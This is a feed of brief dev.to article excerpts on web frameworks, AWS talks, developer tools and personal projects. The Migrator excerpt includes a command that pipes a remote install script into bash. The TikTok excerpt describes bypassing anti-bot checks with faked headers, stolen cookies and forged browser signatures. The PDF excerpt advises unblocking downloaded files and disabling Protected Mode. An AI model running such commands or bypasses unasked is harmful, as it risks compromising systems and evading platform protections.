    What you see in the demo below is ClojureScript UIx app driving native window with ImGui UI via custom React reconciler. Both hot-reloading and REPL-driven development are supported, as you'd expect it from a typical ClojureScript project. The JavaScript side of the app runs in Hermes engine, which exposes ImGui to JS env. However, a release build of this exact app is a fully native 8MB executable. You can try it yourself on macOS or Linux. While Hermes engine is a JavaScript VM, it is also an AOT compiler for JavaScript that emits either Hermes byte code or C. Compiling this sample JavaScript program with Static Hermes: shermes -emit-c index.js print(1 + globalThis.value); outputs the following C program or 50KB executable, when compiled straight into a binary shermes -Os index.js locals…  ( 8 min )
    Breaking Down a 1,500-Line Firebase Service - Clean Architecture in Practice
    How I refactored a monolithic Firebase service into clean, testable, and reusable utility modules without breaking production? After transforming my Firebase notification service from synchronous to queue-based architecture (covered in Part 1), I faced a new problem: my firebase.service.ts had grown to 1,500+ lines of tangled business logic. Finding a specific function required scrolling through hundreds of lines. Adding a feature meant understanding unrelated code. Testing? Nearly impossible. Here's how I systematically refactored this monolith into clean, reusable utility modules without breaking production. After implementing the queue-based architecture, my service file had become a kitchen sink of functionality: // firebase.service.ts - The 1,500-line monster @Injectable() export clas…  ( 21 min )
    Introducing Pruna 0.3.0 - The Upgrade You’ve Been Waiting For
    Today, we are excited to announce that we have released the long-awaited Pruna 0.3.0. We’ve restructured our internal framework to make algorithm management more flexible and scalable, setting the stage for even more powerful algorithm support going forward. Why the Refactor In previous versions, certain algorithm groups — such as cachers or quantizers — were tightly coupled to the package’s structure. This rigid grouping made it difficult to introduce new types of algorithms or to combine them in flexible ways. Starting with Pruna 0.3.0, we’ve reworked this system so that such classifications are no longer hard constraints. Instead, they now serve as supplementary metadata, enabling a more modular, composable, and future-proof design. This refactor lays the groundwork for integrating ne…  ( 8 min )
    I Finally Built an Interactive Demo for My 2018 Preprint on Transforming Tupper's Formula
    Hello DEV community! I'm Prathamesh Deshmukh, and I'm excited to finally share a project I've been meaning to build for years. Back in 2018, I wrote a preprint titled "Transformation of the pixels in Tupper's self-referential formula." It's based on the famous formula by Tupper that plots a bitmap of itself. But as I noted in my preprint, the self-plotting isn't the only amazing part. The formula can actually plot every possible $$106 \times 17$$ pixel combination. This led me to my core research question: "If there is some graphical formation at a particular value of k, then what can be done to change the graphical formation or to change its position?" My preprint (which you can find in the repo) was my answer to that question. I showed that you can perform all sorts of transformations—an…  ( 7 min )
    TapThing — A daily photo challenge with a fixed expiration
    TapThing gives you one “Ting” per day — a small photo prompt like: “What’s the first thing you saw today?” “Show your desk right now.” “Your current weather.” “Something blue around you.” Every Ting comes with its own expiration time. If you post, you unlock everyone else’s photos for that Ting. No comments. The goal: make sharing effortless, remove social pressure, and create a daily moment everyone experiences together — but with a clear deadline that keeps things fun and ephemeral. If you want to try the beta, I’d love feedback on: the expiration-based posting loop ephemeral feed design daily prompt pacing Happy to answer questions!  ( 6 min )
    Web Frameworks Without Headaches: Choosing Your Weapon ⚔️🌐
    Hey Dev Community! Building for the web today feels like walking into a giant supermarket: PHP, Rails, Buffalo, Node.js (Nest, Fastify, Express), Laravel, Symfony, Fiber… and you’re standing there like, “Which one won’t make me cry at 3 AM?” Let’s break it down—fun, simple, and without brain crashes. Old but gold. Easy to start, tons of tutorials, and powers WordPress. Downsides: can feel messy if you don’t follow structure. Best for: quick projects, CMS, and classic web apps. Convention over configuration = less boilerplate. Great for startups and MVPs. Downsides: performance can lag for huge apps. Best for: rapid prototyping, developer happiness. Go language = speed + simplicity. Buffalo gives you scaffolding, routing, and dev tools. Downsides: smaller ecosystem compared to Node or PHP. Best for: performance-focused apps, APIs. TypeScript-first, structured, modular. Feels like Angular for the backend. Best for: enterprise-grade apps. Fastify Super fast, low overhead. Best for: APIs with high performance needs. Express Minimalist, flexible, huge community. Best for: beginners, quick servers, custom setups. Modern PHP framework with elegant syntax. Built-in tools: authentication, migrations, queues. Best for: full-stack apps, clean architecture. Enterprise-level, highly modular. Powers big projects like Drupal. Best for: complex, large-scale applications. Inspired by Express, but in Go. Lightning fast, minimalistic. Best for: APIs where performance is king. There’s no single “best” framework—it’s about your project, your team, and your sanity. Want speed? Go + Fiber/Buffalo. Want structure? Nest.js or Symfony. Want quick results? Rails or Laravel. Want simplicity? Express or plain PHP. Pick your weapon wisely, and remember: the best framework is the one that helps you ship without crashing your brain. Which framework is your favorite and why? Drop it in the comments—I’m curious to see which weapon you trust in battle!  ( 7 min )
    Migrating Media Libraries to Content Hub in Xperience by Kentico – A Hands-On Project Case Study
    Yesterday, I completed a Media Library migration to Content Hub in a project, and I thought it would be great to share the complete experience here. As most of you already know, Media Libraries have been officially sunset in Xperience by Kentico. Their related API members are now marked as obsolete, and support will end on July 24, 2026. After that date, the entire feature and associated APIs will be removed. If your project still relies on Media Libraries, it’s the right time to start planning your migration. In our case, the client’s application was still using Media Libraries extensively, so we took the opportunity to move everything to Content Hub and adopt Content Item Assets, which is now the recommended and future-ready approach for managing media files in Kentico. Media Libraries h…  ( 9 min )
    🚫 Simple & Clean 404 Error Page — HTML & CSS
    A 404 page is shown when a user tries to open a page that doesn’t exist. This is perfect for beginners and helps you understand: 🛠 🔧 Tech Used 📌 ✨ Features 🚀 Live Demo 👉 [View Live Project]https://haripriya1227.github.io/Error-Page-404/ 🗂 GitHub Repository https://github.com/haripriya1227/Error-Page-404 💬 About The page features a bold “404” heading, a short message, and a button to return to the homepage. I’d love to hear your thoughts, suggestions, or feedback! 😊  ( 6 min )
    ClickHouse: The Good, The Bad, and The Ugly
    ClickHouse is one of those databases that everyone gets excited about after their first benchmark. It’s absurdly fast, column-oriented, and built for analytics at scale. It’s also surprisingly easy to plug into an existing stack. You can stream data from Postgres, Mongo, S3, or pretty much anywhere. That’s what makes it so appealing. You hit the point where your Postgres queries start to struggle, you don’t want to rebuild everything, so you drop in ClickHouse and suddenly your dashboard loads in milliseconds. It’s like putting a turbocharger on your reporting. ClickHouse is also improving at a crazy pace. Every month they roll out new features, bug fixes and faster queries. But with speed comes responsibility. ClickHouse is a beast. It’ll reward you when you treat it well, but it’ll bite …  ( 9 min )
    How SkillHunt Uses Telegram for Faster Job Search
    Finding a job today is all about speed and context. Candidates want instant updates, minimal friction, and a way to stay connected without constantly refreshing platforms. This is where Telegram bots come in — and why SkillHunt integrates them directly into the job-search flow. Telegram has become a default communication channel for tech professionals, especially in fast-moving markets like Web3 and startups. Notifications are instant, onboarding is simple, and users don’t need to install anything extra. For job seekers, this means: Immediate job alerts Quick access to new roles Zero noise — just relevant updates Staying connected without opening the website SkillHunt leverages its Telegram bot to extend the platform beyond the browser: Real-time job notifications: Candidates choose categories (tech, Web3, remote) and instantly receive new matching roles. Lightweight onboarding: Users can register interest or save roles directly from the bot. Fast re-engagement: Instead of waiting for emails, people get updates where they actually communicate. Community layer: The bot connects users with SkillHunt channels, mentors, and upcoming features like interview prep reminders. Telegram becomes an extension of the SkillHunt funnel, improving activation and retention. Candidates stay engaged, companies get faster responses, and the platform builds trust by staying transparent and accessible. A job platform shouldn’t be limited to a website. By integrating a Telegram bot, SkillHunt meets users where they already are — making the job search faster, simpler, and more human.  ( 6 min )
    🚀 Stop Fighting Alembic — FastAPI & Flask Migrations Can Finally Be as Simple as Django.
    If you’ve ever tried setting up Alembic, you probably went through this cycle: create a migrations folder edit alembic.ini modify env.py manually import your models configure database URLs hope it works And when it finally runs, you pray nothing breaks when you update your models again. I hated this. Introducing Migrator — A Zero-Config Migration CLI for Python Migrator brings Django-like migrations to FastAPI and Flask. No configuration. Just migrations that work. ❌ Before Migrator: Alembic Setup Pain Traditional Alembic workflow: alembic init migrations edit alembic.ini edit env.py import models, configure engine hope it works If you've done it, you know how fragile this is. ✅ After Migrator: Pure Simplicity migrator init That’s it. No configs. No patches. No manual imports. It just works. ✔️ Finds your models automatically This means you keep the power of Alembic, without any of the setup. 🎉 Why Migrator Rocks Zero configuration Auto-discovery of models & metadata Framework-agnostic (FastAPI, Flask, Django, SQLAlchemy) Django-like workflow Production-ready (powered by Alembic) 🧪 Quick Start Install: curl -sSL https://raw.githubusercontent.com/Adelodunpeter25/migrator/main/install.sh | bash Initialize: migrator init Create first migration: migrator makemigrations "initial" Apply: migrator migrate Done. Python needed a migration tool like this. FastAPI and Flask are amazing frameworks — but Alembic setup has always been a huge barrier for beginners and even experienced devs. Migrator removes the friction so you can focus on building, not fighting config files. If you want migrations that work like Django, without switching ecosystems, give Migrator a try. GitHub • PyPI • Docs I would love feedback, suggestions, and contributors, this is just the beginning. Happy coding!  ( 7 min )
    Embedded Systems & Electronics in 2025: Key Trends and What Really Changed
    When people talk about “electronics in 2025”, they often focus on AI, But in the embedded world — the world behind factories, hospitals, kiosks, After reviewing dozens of new hardware platforms, display modules, broad, deep shift Below are the trends I believe are reshaping the industry — from Android SBCs to display technology, edge AI, and industrial design. For years, Linux SBCs dominated control panels. Qt-based HMIs were everywhere. But times changed. Since 2024–2025, Android SBCs have slowly but steadily taken over: Developers are simply faster on Android Customers demand better UI They want apps that feel like a smartphone. Touch interactions became standard China-based panel + CPU bundles drastically lowered cost 30–40% cheaper than 5 years ago. App ecosystem compatibil…  ( 8 min )
    9 SaaS Tools for Indie Builders to Scale Fast and Make it Sell ⚡️💰
    Scaling​‍​‌‍​‍‌ your SaaS product quickly and making it successful is the dream of every indie builder. However, to move from just having a great idea to actually building a scalable product, you need to make smart decisions and have the right kind of support. The road leading to fast growth and an eventual safe exit can be quite intimidating if you do not have the right resources available and do not know where to look. In this article I’ve manually handpicked 9 SaaS tools that are created specifically for the needs of indie builders who are eager to scale quickly and increase the product value. These tools cover a wide spectrum of areas like automation, user engagement, infrastructure, and analytics thus they allow users to boost the growth, and make the product attractive to the buyers.…  ( 9 min )
    A Surprisingly Great Tool for Multi‑Cloud Storage – RcloneView Review
    I’ve been using a Synology NAS at home for quite a while. But recently my work started involving multiple cloud platforms like Google Drive, AWS S3, and Cloudflare R2. That’s when I discovered Rclone. CLI‑based tool, it wasn’t very friendly for someone like me. RcloneView — and wow, this tool really made my life easier. It’s still a relatively new app, so the UX and feature set are evolving. multiple clouds and NAS in one place, it’s already incredibly useful. I downloaded it from rcloneview.com/download. I’m using the Windows version. After installation I launched it — and boom. Synology NAS on the local network and asked if I wanted to connect. WebDAV setup Since I also need to access my NAS from outside my home, I chose a WebDAV connection — easy and stable. If you want a more detaile…  ( 10 min )
    As opposed to lists, we use tuples when we do not want the elements to be changed
    Day 71 [November 16, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 70 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets As opposed to lists, we use tuples when we do not want the elements to be changed (Sweigart, n.d.) Summary: References: Halvorsen, H. (n.d.)._ Python_. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.). Python for data science, AI & development [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai Sweigart, A. I. (n.d.). 4.12: Tuples vs. lists, immutable vs. mutable. In LibreTexts, Making games with python and pygame (Sweigart). https://eng.libretexts.org/Bookshelves/Computer_Science/Programming_Languages/Making_Games_with_Python_and_Pygame_(Sweigart)/04%3A_Memory_Puzzle/4.12%3A_Tuples_vs._Lists%2C_Immutable_vs._Mutable  ( 6 min )
    Sector HQ Weekly Digest - November 17, 2025
    Sector HQ Weekly Digest - November 17, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 442385.7 | 343 events this week Anthropic - Score: 266113.1 | 51 events this week Amazon - Score: 135242.8 | 22 events this week Nvidia - Score: 128360.7 | 161 events this week Google - Score: 111135.8 | 125 events this week Microsoft - Score: 95559.7 | 99 events this week Meta - Score: 78015.6 | 61 events this week Apple - Score: 64936.3 | 94 events this week Tesla - Score: 41242.1 | 12 events this week AMD - Score: 40235.9 | 43 events this week ↑ Sony jumped 277 positions to #58 ↑ Stability AI jumped 183 positions to #78 ↑ Bytedance jumped 143 positions to #68 ↑ Scale AI jumped 122 positions to #66 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )
    It's turtles all the way down
    It's turtles all the way down Large companies' risk aversion creates a 77% chance they'll lose to startups in any single innovation race, despite near-certain startup success over multiple attempts. When a fast but unreliable competitor (hare) faces a slow but steady one (tortoise), the hare loses 77% of individual races but wins nearly all series of 100 races. Startups act as hares against large company tortoises: any single startup likely fails, but repeated attempts guarantee some will disrupt incumbents and capture massive value. Corporate risk aversion stems from judging projects individually as successes or failures, discouraging bets on volatile ideas with high potential but low expected value. 👉 Read full article  ( 6 min )
    Utilize another telemetry data for faster improvement with AI agent
    Speaker: Yoshi Yamaguchi @ AWS Community Day Hong Kong 2025 Summary by Amazon Nova https://www.youtube.com/watch?v=4jZ5A5lJHHQ Introduction to Profiling Definition of Profiler: A profiler is a type of telemetry that provides information about how well a system is performing and how much it is consuming system resources. Purpose of Profiling: Profiling helps investigate resource consumption in a program and provides statistical information on specific resource usage over a period. Difference from Tracing: Unlike tracing, which tracks resource consumption in a time series manner, profiling offers statistical information throughout a specific period. Famous Profiling Tools: Java: Java Flight Recorder (JFR) Python: cProfile (standard library) and line_profiler (third-party tool) Li…  ( 10 min )
    I Had 10 Minutes to Fix a Broken PDF Before My Client Demo
    The PDF was fine when I sent it to myself yesterday. Opened perfectly. Today, 10 minutes before I needed to walk my client through our proposal document: spinning wheel. Nothing. I tried Chrome. Firefox. Safari. Downloaded it three times. Restarted my laptop. Every minute that passed was one less minute to actually present. My client was already in the Zoom waiting room. This is that sick panic feeling where you realize you might actually have to tell a client "sorry, technical difficulties" and reschedule a meeting you spent two weeks preparing for. Here's what actually worked, and it's one of those "why isn't this more obvious" fixes: Right-click the PDF file → Properties Look at the bottom of the General tab If you see "This file came from another computer and might be blocked" with a checkbox Click "Unblock" → Apply File opens immediately Windows automatically blocks files downloaded from the internet as a security measure. PDFs are especially vulnerable to this because: They often come from email attachments They're frequently shared via cloud storage links Windows doesn't trust the source by default Try Adobe Reader DC instead of browser: Check file corruption: Disable Protected Mode in Adobe: Always test your presentation materials 30 minutes before the meeting, not 10. I learned that the hard way. 🔧 Free AI PDF Error Checker - Upload screenshot, get instant diagnosis 📚 Complete PDF troubleshooting guide 💬 Get live tech support Originally published on Medium  ( 7 min )
    Graduating from Vibe Coding: Spec‑Driven Development with Kiro
    Speaker: Ray Goh @ AWS Community Day Hong Kong 2025 Summary by Amazon Nova https://www.youtube.com/watch?v=kkYuAUAggG8 Introduction to Kiro Kiro is similar to Visual Studio Code (VS Code) as it is forked from the VS Code base. Amazon has built additional features on top of it, making it a subscription-based service due to its reliance on underlying Large Language Models (LLMs) for agentic coding features. Spec Mode and Spec-Driven Development Spec Mode: A unique feature of Kiro called spec mode or spec-driven development. Traditional Vibe Coding: Most developers are accustomed to vibe coding, where they prompt a coding agent to assist with coding or debugging. Spec-Driven Development: A different approach to building software, starting from requirements, design, task planning, and fina…  ( 10 min )
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    My simple checklist of things to ask as a developer when doing a design review in e.g. Figma. Item Description Does it cover the happy case? Does it cover the empty case? E.g. if there are zero items in a list. Does it cover the error case? E.g. if fetching data failed. Does it cover the growth case? How do dynamic objects such as lists, text etc. grow beyond the fold or similar and how will the design react? Does it cover the shrink case? How do dynamic objects such as lists, text etc. shrink and how will the design react? Especially important for dropdowns. Is the flow clear? Is the flow from view to view or between elements clear?  ( 6 min )
    I’ll be honest with you: I didn’t wake up one morning thinking “Let me reverse-engineer TikTok today.” It started with something much simpler: “I just want to upload videos to TikTok programmatically… why is this so damn hard?”
    Breaking Down API Defenses: UA - Cookies - Signatures Browser 🤖 Mai Chi Bao ・ Nov 17 #webdev #api #security #mrzaizai2k  ( 6 min )
    How to Pick the Right Database in AWS: Simple Steps for Every Project
    Picking the right database in AWS can feel overwhelming. You're staring at more than 15 different options, and it's easy to get lost. Whether you're building a simple web app or a complex enterprise system, the database you choose really does shape your app's performance, scalability, and cost. No pressure, right? The key to choosing the right AWS database is matching your specific data model, performance needs, and access patterns to the strengths of each database type. You don't have to just guess, or pick whatever's trending - there's actually a solid framework to help you narrow things down fast. Let's walk through the most important factors to consider, then break down each AWS database type. By the end, you should have a clearer roadmap for this whole decision. Key Factors to Conside…  ( 10 min )
    Day F1: Drowning in Exams But At Least I'm Coding Again
    So Day F0 was the emotional dump. Day F1 is reality hitting back. I should've been studying. Exam today at 4pm. Assembly language—the fun stuff where you're basically talking to the CPU directly and one wrong move breaks everything. Did I study? Nope. Passed out instead. Woke up at 8am in full panic mode. Cracked open the assembly notes and started cramming. Instructions, registers, memory addressing—all of it flooding back in a caffeine-fueled blur. The exam was at 4pm. I had 10 hours. It wasn't ideal but it worked. Kind of. We'll see when results come out. Here's where it gets fun. Two lab exams. Same day. Back to back. Exam 1: PPL (Principles of Programming Languages) Prolog OCaml Functional programming stuff that makes your brain hurt in new ways Exam 2: DAA (Design and Analysis of Al…  ( 7 min )
    Dejé de hablar de AI y empecé a construir: Construye un RAG simple con Amazon Bedrock Knowledge Bases.
    TL;DR: RAG completo con Amazon Bedrock Knowledge Bases sobre tus propios PDFs en S3, usando Titan Embeddings para crear el índice vectorial y hacer consultas naturales con grounding en tus documentos. En ~25–35 minutos montas la arquitectura en us-east-1, validas respuestas, revisas costos, monitoreo y seguridad, y te llevas un blueprint sencillo para entender GenAI “de verdad” y poder explicarla a otros. Veremos: Creación del bucket S3, ingestión de documentos, generación de embeddings, configuración del índice vectorial y consultas inteligentes. Tiempo estimado: 25–35 min Decidí crear este lab porque quiero entender GenAI de verdad —no solo para un examen, sino para poder explicarlo, documentarlo y ayudar a otros que están empezando como yo. Este post es parte de mi proceso para crece…  ( 10 min )
    I stopped talking about AI and started to build: Build a RAG System with Amazon Bedrock, Titan Embeddings & Knowledge Bases
    TL;DR: I built this lab because I want to truly understand GenAI — not just for an exam, but to teach it, document it, and help others who are starting like me. These topics were tricky inside sandboxes, so now I’m rebuilding everything from scratch in a real AWS account to see how things work internally. Field Value CB Category AI/ML AWS Services Amazon Bedrock, Knowledge Bases, Amazon S3, Titan Embeddings Prerequisites AWS account, Bedrock enabled, S3 permissions, region: us-east-1 Estimated Cost Under \$0.50 Architecture See diagram below Why it matters Architecture / What you will build Prerequisites Step-by-step Validation & Testing Observability (CloudWatch) Security Best Practices Cost Analysis Troubleshooting What’s Next Official Resources Companies want to in…  ( 9 min )
    Automated Testing using MCP & AI Agents
    Speaker: Mariana Chow @ AWS Community Day Hong Kong 2025 Summary by Amazon Nova https://www.youtube.com/watch?v=cgoFdt8ybwY Preparation and Planning Foundation: Testing Data Often overlooked but critical Task management system (e.g., Jira): Use webhooks to store updates in AWS S3 Swagger documentation: Provides API specifications and parameters Historical test cases: Allows verification and retesting of previous cases Connecting Data Sources Traditional methods have limited capability to find relationships Introduction of Large Language Models (LLMs) to bridge connections Example: Mariana (AWS career in cloud computing with AI) Dario (co-founder of Entropic, an AI company) Entropic developed a series of LLMs available through AWS Bedrock Execution AI-Driven Testing Wo…  ( 9 min )
    Meme Monday
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    Search for the Best Website Development Company in Ashburn
    Employing the right and the best web development company in Ashburn can do a ton for your online presence, enhancing it to an immense extent. For most businesses today, the primary way by which they can communicate with their potential customers is through their company's Website. Also, it is fundamental that your site is as receptive to their necessities as could be expected under any circumstances. Additionally, it needs to work as great on phones as it does on desktops. When you are done with the elements mentioned above, you can jump to more minute details for your Website to be engaging for your potential customers. Thusly, you need an amazing website to flourish in the online world. This is the reason you should consider getting an expert and respectable web development company in As…  ( 7 min )
    How a young entrepreneur named Abhay Aditya Jain is re-writing the rules of the AI web
    Hey developers, let’s talk about a problem. That technical blog post you spent 20 hours writing. What if I told you they’re all about to become invisible? For the last twenty-plus years, we—the developers, the builders, the architects of the web—have operated on a simple contract: We build useful things, we mark them up with and tags, and Google sends us traffic. The "click" was the currency. We all learned the rules of Search Engine Optimization (SEO), and we built an entire digital economy on top of it. And then, in about 18 months, generative AI burned that entire economy to the ground. When a user asks Gemini, "What's the best laptop for a finance student under $1500?" they don't get a link to your e-commerce site. They get a perfect, synthesized, conversational answer. Th…  ( 12 min )
    Controlling Kubernetes Network Traffic – Part 1
    In November 2025, I came across an announcement on the Kubernetes blog – Ingress NGINX Retirement: What You Need to Know, which made me dig into how we control network traffic in Kubernetes workloads. In this series of blog posts, I will discuss network traffic in Kubernetes clusters, both inter-cluster and intra-cluster, and the various services offered by the hyper-scale cloud providers. In the first part of this series, I will discuss ingress (North-South) traffic to an application deployed on the Kubernetes cluster. Before we deep dive into the article, let's review some important concepts: North-South traffic: The network traffic flowing between external clients outside the cluster and services inside the Kubernetes cluster, encompassing both incoming requests and outgoing respo…  ( 10 min )
    Playwright MCP Servers Explained: Automation and Testing
    Did you know Playwright has two MCP servers. Yes kinda confusing, let me explain it. The Playwright MCP server is great from Browser Automation, filling out forms for example or even using so LLM's can verify their work by opening the browser and taking a page snapshot to see it actually implemented what it said it did. It is built in to GitHub Copilot Coding Agent so if you assign a pr to Copilot it will use Playwright which you can see in the session logs. It is very cool indeed. Then we have another Playwright MCP server called Playwright Test MCP which is built into Playwright test and is for, yes you guessed it, testing. It has some similar tools as the Playwright MCP server but it also has other ones that you only need if you are testing. It starts running when you use the Playwright Agents, Planner, Generator and Healer. However this MCP server only supports TypeScript/JavaScript for now. So depending on your needs you can use one MCP server or the other. The Playwright MCP server you need to install while the Playwright Test MCP server is installed when you run an npx command when using the latest version of Playwright. npx playwright init-agents --loop=vscode The installing of the MCP server is done for you and it doesn't matter what other MCP server you have as the agent will only use the tools that it has assigned to it. Check out the docs for more info on how to get started. Have fun and happy testing with Playwright MCPs https://playwright.dev/docs/test-agents https://github.com/microsoft/playwright-mcp  ( 7 min )
    Babylon.js vs Three.js: The 360 Technical Comparison for Production Workloads
    Choosing a WebGL/WebGPU engine is one of the most consequential decisions for any modern 3D application. For technical leads and architects, this choice is less about immediate features and more about long-term project durability, performance under scale, and workflow efficiency. A superficial comparison—Babylon is an engine, Three is a library—no longer cuts it. We need to analyze the fundamental architectural differences that dictate everything from real-time performance to asset pipeline complexity and long-term maintenance costs. This comparison steps beyond the feature list to provide a 360° technical analysis of Babylon.js and Three.js. We will dissect their core structures, examine how they handle real-world performance constraints, and evaluate their maturity in a production settin…  ( 12 min )
    I Applied to 247 Jobs Before I Realized I Was Doing It All Wrong
    Month 1: 89 applications sent. 2 interviews. 0 offers. Month 2: 43 applications sent. 11 interviews. 3 offers. Same resume. Same qualifications. Completely different system. Let me paint a picture: You've got job links bookmarked in Chrome. Application deadlines scribbled on random sticky notes. Follow-up reminders buried in your phone. Interview notes scattered across three different notebooks. Sound familiar? This isn't just disorganization—it's self-sabotage. I learned this the hard way when I missed a second-round interview because I forgot which role it was for. I showed up prepared to talk about marketing strategy. They wanted to discuss sales operations. That embarrassment became my wake-up call. Everyone tells you the same thing: "It's a numbers game. Apply to 100 jobs and you'll …  ( 10 min )
    File based queries with tanstack start.
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    Breaking Down API Defenses: UA - Cookies - Signatures Browser 🤖
    Introduction I’ll be honest with you: “Let me reverse-engineer TikTok today.” It started with something much simpler: “I just want to upload videos to TikTok programmatically… No matter what I tried — simple requests, faked headers, even stolen cookies — TikTok kept slamming the door in my face. But every failure taught me something. So I dug in. And in this post, I’ll take you through the exact journey — from the most naive HTTP request… all the way to running TikTok’s own obfuscated JavaScript in a Node VM to generate browser signatures. All code here comes from my real TikTok automation stack (based on my repo: github.com/mrzaizai2k/auto_tiktok). Raw Request — My First Dumb Attempt User-Agent — “Fine, I’ll Pretend to Be Chrome” Cookies — The Real Passport Browser Signatures — When Tik…  ( 14 min )
    Quantum Trackers: Unlocking the Secrets of Particle Paths with Quantum Algorithms by Arvind Sundararajan
    Quantum Trackers: Unlocking the Secrets of Particle Paths with Quantum Algorithms Imagine trying to piece together a complex jigsaw puzzle, but the pieces are tiny particles whizzing around at near light speed. That's the challenge facing physicists trying to reconstruct particle tracks in high-energy experiments, a computational bottleneck that could be broken by quantum computing. The core idea is to leverage quantum mechanics to efficiently solve complex optimization problems inherent in track reconstruction. We're basically searching for the 'best fit' line or curve that connects a series of detector hits, but in a very high-dimensional space. By formulating this as a ground-state energy problem or a system of linear equations and using tailored quantum algorithms, we can potentially…  ( 7 min )
    Master Shopify Theme Development with JavaScript: Build Real Features Step-by-Step
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    Creating Your First Chrome Extension (With Built-in AI Features)
    Chrome extensions let you customize the browser in ways that go far beyond simple settings or themes. They can block ads, automate repetitive tasks, enhance your favorite sites, or reshape the browser interface entirely. If you've ever wished a website or the browser itself behaved just a bit differently, chances are an extension already exists to do exactly that. Learning how to build extensions opens up a space where familiar web technologies gain access to native browser capabilities. You can tap into APIs that ordinary web pages cannot use, allowing your code to run in the background, react to browser events, store data, and integrate deeply into how people work online. And now, with built-in AI models available directly in Chrome, extensions can go even further. You can generate text …  ( 22 min )
    Essential Coding Templates for FAANG-Level LeetCode Problems
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    The Architecture Nobody Talks About: How I Built Systems That Actually Scale (And Why Most Don't)
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    Comparing Wallet SDKs in 2025: What Builders Should Actually Evaluate (Not Just Features)
    Wallet UX has changed massively in the past ~18 months. What used to be a choice between custodial vs self-custodial is now a five-dimension decision: custody model onboarding UX hosting + control long-term portability session & automation support There is no universal “best wallet SDK”, only best-fit per product category. This guide helps you define evaluation criteria, compare providers, and avoid accidental lock-in. 📌 Evaluation criteria (2025 spec) Below are the criteria teams should evaluate with equal weight — not just features: Category Why it matters Questions to ask Custody model Determines control, security & compliance surface Who holds recovery authority? Can users export keys? Portability / exit plan Avoid infra lock-in Can we self-host later? Can users keep wallet…  ( 7 min )
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    🚀 Salesforce Launches a Free CRM Suite for Small Businesses — A Game-Changer for SMBs in 2025
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    🚀 Follow Me on X (Twitter) — Let’s Build Something Insane Together
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    checkout this article on How We Reduced 99.6% Load Time in a Tableau Workbook: Origins, Applications, and Real Case Studies
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    Latest fashion trends.
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    Hey devs 👋, I’ve been building full-stack apps for years, and one thing always annoyed me: Why are we still manually setting up proxies, fixing CORS, remembering build folders, and running two servers… just to connect a frontend and backend? So I built a solution. This small library automatically connects any modern frontend (React, Vite, Vue, Angular, Svelte, Nuxt, or even static HTML) to your Express backend — in both development and production. 👉 No proxy configs Just one line: include(app, '../frontend'); …and everything works. I kept seeing the same frustrations: Frontend on 5173, backend on 3001 Vite proxy issues Random CORS errors Different dev vs production setups Confusing deployment steps I wanted something that just works, with one unified URL during development and a clean production flow. Now it does. Detects your frontend framework Starts the frontend dev server automatically Proxies /api/* requests to Express Sends all other routes to the frontend dev server Full HMR support Eliminates CORS completely One single origin for the entire stack Detects your dist / build folder Serves the optimized frontend build Handles SPA routing (index.html fallback) Express continues serving your API normally Zero config. Zero stress. const express = require('express'); const include = require('express-auto-frontend'); const app = express(); const PORT = 3001; app.get('/api/message', (req, res) => { res.json({ message: 'Hello from the backend!' }); }); include(app, '../frontend'); app.listen(PORT, () => console.log(`Server running at http://localhost:${PORT}`) ); That’s literally all you need. React (Vite + CRA) Vue (CLI + Nuxt) Angular Svelte / SvelteKit Static HTML or Pug npm i express-auto-frontend Package: express-auto-frontend 1.0.2 15 hours ago I built this because full-stack development should feel smooth, not painful. If you want to reach out, collaborate, or share feedback, contact me at: silivestirassey@gmx.com Happy hacking! ⚡ Silivestir / splannes  ( 7 min )
    Fork This: The Open-Source B2B Marketing Plan for Developers
    As engineers, we build systems. We design architecture, define APIs, and write code that solves complex problems. But once the product is built, another system comes into play: marketing. For many of us, it feels like a black box with unpredictable outputs. What if we treated a B2B marketing plan not as a fluffy slide deck, but as a system architecture document? A well-defined, version-controlled plan for your growth engine. This guide is for developers, by a developer-minded marketer. We're going to architect a B2B marketing plan from scratch. Forget the jargon; let's talk specs, metrics, and implementation. I've even included a B2B_Marketing_Plan.md template you can fork and use. Think of your marketing plan as the README.md and core architecture for your Go-to-Market (GTM) strategy. It’…  ( 9 min )
    Space, Pace, and Probability: Why Modern Basketball Feels So Different
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    AI in 2025: From Flashy Demos to the Hidden Infrastructure Running Our Lives
    Every tech cycle has its hype phase, but by 2025 artificial intelligence is quietly moving from spectacle to plumbing. As outlined in this deep dive on how AI is turning into infrastructure in practical settings, AI in 2025: From Impressive Demos to Reliable Everyday Infrastructure, the real story is no longer about viral demos but about stable systems that power decisions, workflows, and interfaces we use daily without even realising it. For years, AI conversations were dominated by viral videos: robots doing backflips, chatbots writing poems, models generating surreal images. These moments were fun — and genuinely important for research — but they also created a distorted perception. AI looked like a series of party tricks instead of a dependable layer of infrastructure. In 2025, the shi…  ( 10 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
